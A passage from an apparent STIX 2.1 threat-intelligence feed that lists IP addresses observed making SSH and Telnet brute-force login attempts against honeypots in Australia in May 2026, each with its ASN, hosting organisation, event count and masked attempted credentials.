      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 27747. Organisation(s): Telecentro S.A..",
      "id": "indicator--17888062-26b9-448d-9c8c-655276c2ae4c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.44.130.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T00:15:21.000Z",
      "valid_until": "2026-06-11T00:15:08.000Z"
    },
    {
      "created": "2026-05-10T00:15:21.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--6b5c1e40-25d2-459e-ad3d-efdc94a446c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T00:15:21.000Z",
      "valid_until": "2026-06-11T00:15:08.000Z"
    },
    {
      "created": "2026-05-10T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda. Usernames observed (masked): u****u, a***n, d****y, g***t, i**o. Passwords observed (masked): 1****6, P******d, 1**4, 1********0, 1******b.",
      "id": "indicator--32f83c3e-4dd9-48cd-a4a5-f77e3d41bbb7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.6.100.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T00:15:21.000Z",
      "valid_until": "2026-06-11T00:15:08.000Z"
    },
    {
      "created": "2026-05-10T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 53850. Organisation(s): GorillaServers, Inc..",
      "id": "indicator--dde1896c-a90b-421e-9af8-e84ed3a7db86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.239.96.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T00:15:21.000Z",
      "valid_until": "2026-06-11T00:15:08.000Z"
    },
    {
      "created": "2026-05-10T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--cf405e76-891c-4808-8841-e34e91b1faeb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '44.208.162.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T00:15:21.000Z",
      "valid_until": "2026-06-11T00:15:08.000Z"
    },
    {
      "created": "2026-05-10T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--3c323be3-a9b1-4766-b954-ac46f435d42f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.77.222.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T00:15:21.000Z",
      "valid_until": "2026-06-11T00:15:08.000Z"
    },
    {
      "created": "2026-05-10T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 59253. Organisation(s): LEASEWEB SINGAPORE PTE. LTD..",
      "id": "indicator--359057f5-d706-4676-ade9-513d749281fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.120.94.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T00:15:21.000Z",
      "valid_until": "2026-06-11T00:15:08.000Z"
    },
    {
      "created": "2026-05-10T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 49981. Organisation(s): WorldStream B.V..",
      "id": "indicator--b4669c72-2580-4b61-841e-f941ddb19659",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.39.105.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T00:15:21.000Z",
      "valid_until": "2026-06-11T00:15:08.000Z"
    },
    {
      "created": "2026-05-10T01:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--4c3cf648-1fd9-40e9-99c8-9a7d716899e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.162.19.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T01:15:12.000Z",
      "valid_until": "2026-06-11T01:15:08.000Z"
    },
    {
      "created": "2026-05-10T01:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BY. ASN(s): 6697. Organisation(s): Republican Unitary Telecommunication Enterprise Beltelecom.",
      "id": "indicator--505d3a06-1640-4cb0-b92a-79b0ad657993",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.123.92.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T01:15:12.000Z",
      "valid_until": "2026-06-11T01:15:08.000Z"
    },
    {
      "created": "2026-05-10T01:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--f078b51b-b3e8-4501-80eb-392a421a27f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.134.196.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T01:15:12.000Z",
      "valid_until": "2026-06-11T01:15:08.000Z"
    },
    {
      "created": "2026-05-10T01:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology. Usernames observed (masked): ***. Passwords observed (masked): .",
      "id": "indicator--7866c056-483b-40ea-bed8-848fec666538",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T01:15:12.000Z",
      "valid_until": "2026-06-11T01:15:08.000Z"
    },
    {
      "created": "2026-05-10T01:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: ID. ASN(s): 214882. Organisation(s): Hadi Santosa.",
      "id": "indicator--159149cd-0f58-44c8-844f-885df2e3cb73",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.88.211.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T01:15:12.000Z",
      "valid_until": "2026-06-11T01:15:08.000Z"
    },
    {
      "created": "2026-05-10T01:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, ***.",
      "id": "indicator--b865b2b7-605d-4ba5-8117-d6a05ca6c1c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '61.240.17.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T01:15:12.000Z",
      "valid_until": "2026-06-11T01:15:08.000Z"
    },
    {
      "created": "2026-05-10T02:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--eb027438-7570-4cca-a7ef-f12f0cb013d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '108.181.18.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T02:15:12.000Z",
      "valid_until": "2026-06-11T02:15:08.000Z"
    },
    {
      "created": "2026-05-10T02:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 4713. Organisation(s): NTT DOCOMO BUSINESS,Inc..",
      "id": "indicator--9d595d76-3842-4f66-a845-b380b5f892ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '153.168.188.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T02:15:12.000Z",
      "valid_until": "2026-06-11T02:15:08.000Z"
    },
    {
      "created": "2026-05-10T02:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 13999. Organisation(s): Mega Cable, S.A. de C.V..",
      "id": "indicator--f212dc17-34c3-4ff2-a5fd-3e31adfa60ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.230.140.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T02:15:12.000Z",
      "valid_until": "2026-06-11T02:15:08.000Z"
    },
    {
      "created": "2026-05-10T02:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 13999. Organisation(s): Mega Cable, S.A. de C.V..",
      "id": "indicator--01e34be6-680f-49fe-a424-497552404b71",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.231.64.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T02:15:12.000Z",
      "valid_until": "2026-06-11T02:15:08.000Z"
    },
    {
      "created": "2026-05-10T02:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 26615. Organisation(s): TIM SA.",
      "id": "indicator--ab995444-8424-4e24-bd3f-445441b941a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.250.196.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T02:15:12.000Z",
      "valid_until": "2026-06-11T02:15:08.000Z"
    },
    {
      "created": "2026-05-10T02:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 7418. Organisation(s): TELEFONICA CHILE S.A..",
      "id": "indicator--d7fe5858-0f06-4004-9dbf-46816df9a73a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '191.115.37.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T02:15:12.000Z",
      "valid_until": "2026-06-11T02:15:08.000Z"
    },
    {
      "created": "2026-05-10T02:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--b54f0482-f93b-4a55-9176-3ff0858913cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.23.177.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T02:15:12.000Z",
      "valid_until": "2026-06-11T02:15:08.000Z"
    },
    {
      "created": "2026-05-10T02:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--07187096-2dbc-419c-a8b1-36ffec4957a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.46.134.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T02:15:12.000Z",
      "valid_until": "2026-06-11T02:15:08.000Z"
    },
    {
      "created": "2026-05-10T02:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): r**t. Passwords observed (masked): -*************-.",
      "id": "indicator--01f69bc3-2600-4435-830d-f274f2dc0013",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.94.112.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T02:15:12.000Z",
      "valid_until": "2026-06-11T02:15:08.000Z"
    },
    {
      "created": "2026-05-10T02:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 50673. Organisation(s): Serverius Holding B.V..",
      "id": "indicator--db84cc8e-9cb8-4307-853f-e7ce562cbf7b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.42.189.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T02:15:12.000Z",
      "valid_until": "2026-06-11T02:15:08.000Z"
    },
    {
      "created": "2026-05-10T02:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 272122. Organisation(s): TELECOMUNICACIONES G-NETWORK, C.A..",
      "id": "indicator--e61539b9-cab6-4755-acb7-adbf2db69bd9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.61.199.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T02:15:12.000Z",
      "valid_until": "2026-06-11T02:15:08.000Z"
    },
    {
      "created": "2026-05-10T02:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 269353. Organisation(s): VOLAREHOST INTERNET LTDA ME.",
      "id": "indicator--277d4d81-fd19-4992-8d24-16f9cc7d8c00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.184.33.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T02:15:12.000Z",
      "valid_until": "2026-06-11T02:15:08.000Z"
    },
    {
      "created": "2026-05-10T02:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 59711. Organisation(s): HZ Hosting Ltd.",
      "id": "indicator--90096e1f-5928-421e-93f0-30a9b7b12429",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.193.18.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T02:15:12.000Z",
      "valid_until": "2026-06-11T02:15:08.000Z"
    },
    {
      "created": "2026-05-10T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company.",
      "id": "indicator--ce04c254-84db-4b5f-8cbe-8b16e991b52a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '144.124.192.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T03:15:10.000Z",
      "valid_until": "2026-06-11T03:15:08.000Z"
    },
    {
      "created": "2026-05-10T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 53667. Organisation(s): FranTech Solutions.",
      "id": "indicator--7452e5a0-7186-4413-a0fb-cf31d7273fa9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.98.56.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T03:15:10.000Z",
      "valid_until": "2026-06-11T03:15:08.000Z"
    },
    {
      "created": "2026-05-10T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--d6b1bebd-7a39-4646-80f7-31a69cbf3f12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.135.174.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T03:15:10.000Z",
      "valid_until": "2026-06-11T03:15:08.000Z"
    },
    {
      "created": "2026-05-10T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24961. Organisation(s): WIIT AG.",
      "id": "indicator--2e16ea45-432f-4a25-a1ba-89bc9c748a3a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.202.208.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T03:15:10.000Z",
      "valid_until": "2026-06-11T03:15:08.000Z"
    },
    {
      "created": "2026-05-10T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--d680b1ad-5dd7-45f9-bb27-0a97567543c0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.205.28.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T03:15:10.000Z",
      "valid_until": "2026-06-11T03:15:08.000Z"
    },
    {
      "created": "2026-05-10T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--82551158-ca92-40c8-9055-8465ccd78f94",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.254.17.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T03:15:10.000Z",
      "valid_until": "2026-06-11T03:15:08.000Z"
    },
    {
      "created": "2026-05-10T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 4788. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD..",
      "id": "indicator--aa7515ee-e4af-45a1-962a-29a6849e2e16",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.51.107.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T03:15:10.000Z",
      "valid_until": "2026-06-11T03:15:08.000Z"
    },
    {
      "created": "2026-05-10T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 10912. Organisation(s): Unitas Global.",
      "id": "indicator--9da24f37-f632-4d88-a3bf-f0dfb7e87c4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '69.25.10.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T03:15:10.000Z",
      "valid_until": "2026-06-11T03:15:08.000Z"
    },
    {
      "created": "2026-05-10T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 33984. Organisation(s): Surfplanet GmbH.",
      "id": "indicator--33801725-33ee-4dd1-8b25-c06c82ab7b1a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.111.67.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T03:15:10.000Z",
      "valid_until": "2026-06-11T03:15:08.000Z"
    },
    {
      "created": "2026-05-10T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 63859. Organisation(s): PT. Eka Mas Republik.",
      "id": "indicator--60cc7db0-69af-4b1f-9818-dee6ccbde781",
      "labels": [
        "bruteforce"
      ],
